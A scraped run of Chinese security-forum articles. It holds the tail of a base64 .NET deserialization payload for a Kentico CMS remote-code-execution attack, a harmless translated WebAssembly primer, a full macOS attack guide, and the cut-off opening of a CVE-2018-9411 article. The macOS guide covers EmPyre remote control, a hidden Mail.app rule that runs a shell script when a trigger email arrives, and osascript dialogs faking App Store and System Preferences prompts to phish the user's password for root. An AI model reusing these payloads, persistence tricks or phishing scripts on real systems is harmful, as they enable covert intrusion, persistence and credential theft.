lbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cw==</SOAP-ENC:Array>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
html编码之后发送
由此拿到回显。
# 后文
本文介绍了多个链，并分析了Kentico
CMS的RCE，通过ActivitySurrogateSelectorFromFile加载自定义程序集拿到执行命令回显。 | 社区文章 |
# 【技术分享】WebAssembly入门：将字节码带入Web世界
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/04/13/webassembly-101-bringing-bytecode-to-the-web>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
WebAssembly（WA）是一种新兴技术，FortiGuard实验室在这篇文章里汇总了与之相关的一些常见问题。
**一、何为WebAssembly**
WebAssembly是针对Web设计的一种低级语言，这种可移植的二进制格式旨在提高Web应用的运行速度。这种语言的设计初衷是获得比JavaScript（JS）更快的解析速度（最高提高20倍）和执行速度。
**二、WebAssembly的公布时间**
WebAssembly社区小组于2015年4月成立，其使命是“为Web设计一种全新的、可移植的、能够高效加载及易于编辑的轻量级格式，以促进跨浏览器协作”。
**三、从何处入手**
首先你必须使用[ **Binaryen**](https://github.com/WebAssembly/binaryen)设置[
**Emscripten SDK**](http://kripken.github.io/emscripten-site/)，将C/C++代码或Rust代码转化为WA的“.wasm”二进制文件，或者使用与Lisp类似的[
**S-表达式**](https://webassembly.github.io/spec/)将代码转化为“.wast”（或“.wat”）文本格式，如图1所示。
图1. 从源代码到Web的处理过程
你可以从这个[ **在线工具**](https://cdn.rawgit.com/WebAssembly/sexpr-wasm-prototype/2bb13aa785be9908b95d0e2e09950b39a26004fa/demo/index.html)开始学习，快速查看代码片段。
在页面右侧的反汇编输出中，你可以看到头两行代码如下所示：
0000000: 0061 736d ; WASM_BINARY_MAGIC
0000004: 0b00 0000 ; WASM_BINARY_VERSION
第一行与魔术数字“0x6d736100”有关，这个数字代表的是“asm”。第二行显示的是版本号，这里版本号为“0xb”。由于当前WA的版本号是0xd，因此这个在线工具生成的字节码不能用于当前版本的Web浏览器，不过这段代码还是值得一看的。当WebAssembly最终发布时，其版本号会被设定为0x1。
**四、WebAssembly如何工作**
目前WebAssembly需要通过JavaScript加载和编译。主要包括以下四个步骤：
1、加载wasm字节码。
2、将wasm字节码编译为模块。
3、实例化模块。
4、运行函数。
翻译过来就是：
fetch('your_code.wasm').then(response => response.arrayBuffer()
).then(bytes => WebAssembly.instantiate(bytes, {})
).then(instance => instance.exports.your_exported_function ()
从上述代码可知，“WebAssembly.instantiate”可以同时用于编译和实例化模块。
**五、WebAssembly的使用场景**
作为asm.js的下一代改进版，WebAssembly使用了JavaScript中一个非常受限的指令子集，该子集最适合作为C编译器的编译目标。WebAssembly不包含JavaScript对象，也不直接访问文档对象模型（Document
Object Model，DOM）。从本质上来讲，WebAssembly只允许对类型数组进行算术运算和操作。
一些初步样例表明，使用wasm实现的斐波那契数生成算法比对应的JS实现性能上更优，有超过350%的性能提升。
目前，WebAssembly只是在简单模仿JS的功能，但人们计划扩展WebAssembly的使用场景，以处理JS中难以处理的事情，同时不增加语言的复杂度。比如，人们计划使WebAssembly默认支持SIMD（Single
Instruction，Multiple Data，单指令流多数据流）、线程、共享内存等等功能。
许多流行视频游戏编辑器已经准备就绪，开始将WebAssembly技术与WebGL
2.0相结合，将部分3D功能引擎移植到这个全新平台上。你可以试一下Epic出品的[ **Zen
Garden**](https://s3.amazonaws.com/mozilla-games/ZenGarden/EpicZenGarden.html)，体验这种全新技术。
**六、这是否就是JavaScript的末日**
WebAssembly会促进JavaScript的发展，而不是导致其灭亡，它可以为Web中的关键功能带来语言上的多样性并提高性能。WebAssembly不单单给JS带来性能上的提升，同时也造福了Web浏览器。
可以预想的是，五年后，我们使用JS的方式将大大不同。目前，我们在很多场景中都难以使用JS代码完成任务，大部分功能都需要借助复杂库来实现。
由于WebAssembly的易用性和简单性，我们预测会有越来越多的代码从C++或Python转化为JS，甚至直接转化为WebAssembly。这意味着你不需要去学习一门全新的语言。JS虚拟机还是会存在，但对应工具会不断发展，以获取更优的性能。
**七、WebAssembly与基于MS ActiveX/Adobe Flash/Orcale Java Applet/MS
Silverlight/Google NaCl构建的富因特网应用之间有何区别**
由于不同的公司各自推出了不同的标准，因此富因特网应用（Rich Internet Application, RIA）无法形成标准的开放格式。
比如，微软在自家的IE浏览器中推广ActiveX技术。该技术让开发者能够通过COM组件将打包功能重新集成到Web页面中。
Google推出了Native Client，让开发者将一些C/C++代码打包集成到浏览器中，然而，只有Chrome支持这项技术，达不到广义上的可移植要求。
几年前，Mozilla发布了asm.js，打开了性能优化的大门。他们最早提出了使用JS中的严格子集。通过限制语言的功能性，他们能够预测虚拟机的下一步反应，从而通过移除某些不必要的检查操作以提高性能。但这种技术也会影响语言的动态行为。
所有的这些技术构成了今天WA诞生的基础。WebAssembly运行在JS虚拟机内部，使用了JS的部分功能，这意味着它不仅能够与运行最新Web浏览器的设备兼容，也能做到向前兼容。为了实现这一点，设计人员正在开发一个polyfill，核心思想是将每个函数转换为语义上等效的JS代码，虽然这样做会影响运行性能，但至少能解决代码的运行问题。
**八、WebAssembly长什么样**
顾名思义，WebAssembly的最终形式是一种低级字节码，可以转换为汇编代码，但与通常的CPU汇编代码不同。
我们来看看“Hello world”这个例子（值得一提的是，虽然“Hello
world”是大多数程序员相当熟悉的一个程序，但这个程序并不是特别适合这门语言，因为WA默认情况下没有集成打印功能，这也是为什么以下代码必须通过JS从标准库中导入该功能，然后传递所需的参数）。
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE
*stream)这个C语言库函数可以从ptr指向的数组中读取数据，并将数据写入到stream文件流中。
紧跟在wasp代码之后的是wasm字节码的版本号，如上文所述。
;; WebAssembly WASM AST Hello World! program
(module
(memory 1
(segment 8 "hello world!n")
)
(import $__fwrite "env" "_fwrite" (param i32 i32 i32 i32) (result i32))
(import $_get__stdout "env" "get__stdout" (param) (result i32))
(export "main" $main)
(func $main (result i32)
(local $stdout i32)
(set_local $stdout (call_import $_get__stdout))
(return (call_import $__fwrite
(i32.const 8) ;; void *ptr => Address of our string
(i32.const 1) ;; size_t size => Data size
(i32.const 13) ;; size_t nmemb => Length of our string
(get_local $stdout)) ;; stream
)
)
)
代码1：wast版的Hello
World程序（参考自[github](https://gist.github.com/icefox/e58d23e860a0b525e0044cac120f667b#file-helloworld-wast)）
代码2：wasm字节码形式的Hello World程序
虽然我们可以手动编写字节码，但我想没有哪个程序员会这么做。相反，他们会选择使用wasp的[S-表达式](https://webassembly.github.io/spec/)，或者其他更为人性化的高级语言，这样能够生成等价的编译器优化的代码。
**九、WA的安全性如何，对网络威胁方面的意义**
在浏览器中运行时，WebAssembly运行在一个安全的沙箱化环境中，这意味着WebAssembly与其他Web语言一样，遵守相同的同源策略和权限策略。根据维基百科的定义，[
**同源策略**](https://en.wikipedia.org/wiki/Same-origin_policy)可以“防止某个页面中的恶意脚本通过该页面的文档对象模型（DOM）获取其他Web页面上敏感信息的访问权限”。
这听起来是一个非常完美的解决方案。
然而，过去的很多案例表明，攻击者出于个人利益，总是能够找到一种方法来滥用或转移新技术的使用场景。比如，攻击者已经使用某些流行的开源项目或某些自制代码中的JS混淆代码，实现恶意代码隐藏并绕过杀毒软件的检测。
因此我们很容易就能预测到，WA可能会被攻击者用来实现高级混淆或加密。这个问题对训练有素的分析师来说并不是不能克服的，但对攻击工具的调试和挖掘将变得更加困难，也更加耗时。
目前，如果你在浏览器界面点击右键，查看wasm模块，你所看到的结果会与当前所使用的浏览器有关。你可能会在开发者调试器窗口看到某个函数的“原生代码”引用，也可能看到Firefox中的一个警告信息（如图2所示），还有可能看到Chrome中文本形式的WA代码（如图3所示）。
图2. Firefox浏览器的WA调试界面
图3. Chrome浏览器的WA开发者工具
我们需要改进Web浏览器以支持更加智能的WA调试工具。在任何情况下，浏览器都应该支持某个恶意模块的下载（因为模块需要在用户主机上运行）及反汇编，以帮助逆向研究人员分析模块的目的。否则，就像.NET一样，会有某些代码混淆器阻止人们将字节码还原为初始代码。但后者可能不是出于恶意目的，有时候是合法的，比如源代码作者希望通过这种方法保护他们的知识产权。
**十、WA何时发布**
Mozilla Firefox 52版（3月7日发布）、Google Chrome 57版（3月9日发布）以及Opera
44版（3月21日发布）已经默认支持并启用了WA。其他主流浏览器厂商，比如微软和Apple也正在推进浏览器支持WA。你可以在线跟踪相关的研发状态。
**十一、如何禁用**
禁用WA的方法取决与你正在使用的具体浏览器。
对于Chrome，你可以访问“chrome://flags/#enable-webassembly”这个URL，在组合框中选择“Disabled”即可。需要注意的是，你还需要重新启动浏览器使更改生效。
对于Firefox，你可以访问“about:config”这个URL，找到名为“javascript.options.wasm”的首选项，双击将该布尔值改为“False”，就可以禁用WA。 | 社区文章 |
# 【技术分享】MacOS安全：通过email稳定控制Mac总结
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **vodu**](http://bobao.360.cn/member/contribute?uid=2767699139)
**稿费：500RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
关于木马稳定控制Mac，有很多种方式，今天跟大家探讨一个通过email稳定控制Mac的方式。网上有一些介绍的文章，但是坑多，现将本人测试经验整理，共同学习。
文章整体分为三个部分，第一部分简单介绍远控工具，第二部分介绍如何通过email去启动木马，第三部分关于全版本MacOS适用的提权
**
**
**一、远控**
使用Empyre，纯python的渗透工具，使用完全类似于Empire
git clone https://github.com/adaptivethreat/EmPyre.git
cd EmPyre
python empyre
设置Linsteners
Listeners
run //本次测试使用默认地址，根据情况更改配置
生成回连脚本
usestarger bash
set Listener test // 设置好的listeners名字
generate
至此，远控回连设置完毕
关于mac平台的远控的选择，还可以选择其他多种工具，像JS-Rat 等等等。。。因为MacOS支持各多种脚本的运行，像javascript，python
等。或者就最简单的反弹一个shell回来，类Unix平台的控制程序多种多样，根据自己情况先择就好。
**二、启动**
MacOS自带的Mail.APP
有一个添加规则的功能，触发后可以执行脚本，具体步骤如下：
依次点击 邮件－偏好设置－规则－添加规则，就可以按照常规方式添加规则
然后选择合适的触发规则
最后选择触发后的行为
触发后执行的AppleScript 为script.scpt文件，必须位于：
/Users/$USER/Library/Application Scripts/com.apple.mail/
文件夹中，并且以scpt后缀
为了便于隐藏，推荐直接修改配置文件，设置规则。在配置文件上修改应用的规则不会显示到GUI界面，有较强的隐蔽性。
邮件规则存储文件：
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
“$USER”就是目标用户的用户名称，“$VERSION”是相应的版本号，版本对应如下：
MacOS Sierra (10.12)V4
OS X El Capitan (10.11)V3
OS X Lion (10.7)V2
OS X Yosemite (10.10)V2
如果机器开启了iCloud同步，那么规则将会被存储到另一位文件中，位于：
/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
需要注意的是该文件比上一个的文件有高优先级，并且新规则在Mail.APP重启之后生效。
以下是规则文件中内容
<plist version="1.0">
<array>
<dict>
<key>AllCriteriaMustBeSatisfied</key>
<string>NO</string>
<key>AppleScript</key>
<string>script.scpt</string>
<key>AutoResponseType</key>
<integer>0</integer>
<key>CopyToMailbox</key>
<string>Trash</string>
<key>CopyToMailboxURL</key>
<string>Trash</string>
<key>Criteria</key>
<array>
<dict>
<key>CriterionUniqueId</key>
<string>003AC288-64E4-4FA6-99DC-20DDDBA8DDAA</string>
<key>Expression</key>
<string>test-123</string>
<key>Header</key>
<string>Body</string>
</dict>
</array>
<key>Deletes</key>
<string>YES</string>
<key>HighlightTextUsingColor</key>
<string>NO</string>
<key>Mailbox</key>
<string>Trash</string>
<key>MailboxURL</key>
<string>Trash</string>
<key>MarkFlagged</key>
<string>NO</string>
<key>MarkRead</key>
<string>NO</string>
<key>NotifyUser</key>
<string>NO</string>
<key>RuleId</key>
<string>63C428FB-2634-4C0C-ACCA-9DA68229BC29</string>
<key>RuleName</key>
<string>delete</string>
<key>SendNotification</key>
<string>NO</string>
<key>ShouldCopyMessage</key>
<string>NO</string>
<key>ShouldTransferMessage</key>
<string>NO</string>
<key>TimeStamp</key>
<integer>461321588</integer>
<key>Version</key>
<integer>1</integer>
</dict>
</array>
</plist>
代码中的“test-123” 就是触发字符，触发位置设置为“Body”正文中，配置代码如下：
<key>Expression</key>
<string>test-123</string>
<key>Header</key>
<string>Body</string>
执行的AppleScript脚本文件名称为script.scpt
<key>AppleScript</key>
<string>script.scpt</string>
启用这个规则，只需要将“RuleId” 添加到“RulesActiveState.plist” 文件中，例如：
<key>63C428FB-2634-4C0C-ACCA-9DA68229BC29</key>
<true/>
测试脚本文件内容为：
do shell script "date > /Users/$USER/Desktop/test.txt ; "
规则整体的意思就是，收到一封内容中包含字符“test-123”的邮件时，就将邮件扔到垃圾桶中，然后执行系统命令，输出当前时间到桌面的“test.txt”文件中。
至此启动器设置完成，下图为测试效果
如果需要启动木马，只需要将脚本文件中引号内容替换为之前Empyre生成的bash脚本，然后一封邮件，done，效果如下图：
为了增加隐蔽性，可以添加一些规则
<key>MarkRead</key>
<string>YES</string>
<key>CopyToMailbox</key>
<string>Trash</string>
<key>CopyToMailboxURL</key>
<string>Trash</string>
<key>Mailbox</key>
<string>Trash</string>
<key>MailboxURL</key>
<string>Trash</string>
这样收到信件之后会直接标记已读，然后放入废纸篓，就再也不会出现未读提示，效果如下图：
这样，触发邮件不会出现在收件箱中，并且在废纸篓中也不会提示未读。至于其中的DELETE，只会将邮件放入废纸篓，
而不是直接删除，没有一个很明确的解释，该功能为什么不能将邮件彻底删除。不知道是不是测试邮箱的问题。有待继续测试。
下一个问题，权限，这时候获取的shell权限不高，如下图：
只是用户权限，并不是root权限，下一步，提权。
**三、提权**
通杀MacOS全部版本的提权方式哦！
关于AppleScript，官方有如下叙述：
AppleScript是由Apple创建的脚本语言。 它允许用户直接控制可编写脚本的Macintosh应用程序，以及macOS本身的一部分。
您可以创建脚本集合的书面指令 – 自动化重复任务，组合来自多个可编写脚本的应用程序的功能，并创建复杂的工作流程。
由于代码功底有限，无法fuzz出MacOS提权漏洞，所以转变思路，只要能获取到用户的密码，就直接能获取root权限。
由于能力有限，直接从MacOS的密码从系统中获取本人无法做到。
最终方案 －－ 针对 “人”。
先上几张效果图：
不够酷炫？ 不够诱人？还有
你就说你输不输入密码！
不输入，就不能继续程序，什么程序都行包括系统程序！
强调下，这是系统设置和Apple Store 弹出的框，并不是手工绘制出现在屏幕上的弹框！
利用系统应用，如 app sotre，系统便好设置 给用户弹框，要求用户输入密码。并且不输入密码无法继续操作App Store 和系统设置。
需要注意的是，输入为空或者随意输入弹框都会消失，经过本人多次测试，将弹框次数增加至2到3次，将会打消用户所有疑虑，第二或者第三次的输入基本就会是系统密码。如果觉得该方案不保险，可以进行以下判断，密码不正确就一直弹框。
目前在多个朋友的Mac系统上测试结果，所有人都输入了密码！！
然后
do shell script "command" user name "username" password "password" with administrator privileges
或者其他什么方式
成功获取到root权限
你的电脑，我的权限。
收工！
**附脚本：**
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store 需要密码才能继续" & return & return default answer "" with icon 1 with hidden answer with title "App Store"'
osascript -e 'tell app "System Preferences" to display dialog "System Preferences 需要密码才能应用更新" & return & return default answer "" with icon 1 with hidden answer’
脚本可以随意发挥！ | 社区文章 |
原文地址：<https://blog.zimperium.com/cve-2018-9411-new-critical-vulnerability-multiple-high-privileged-android-services/>
# 前言
Zimperium
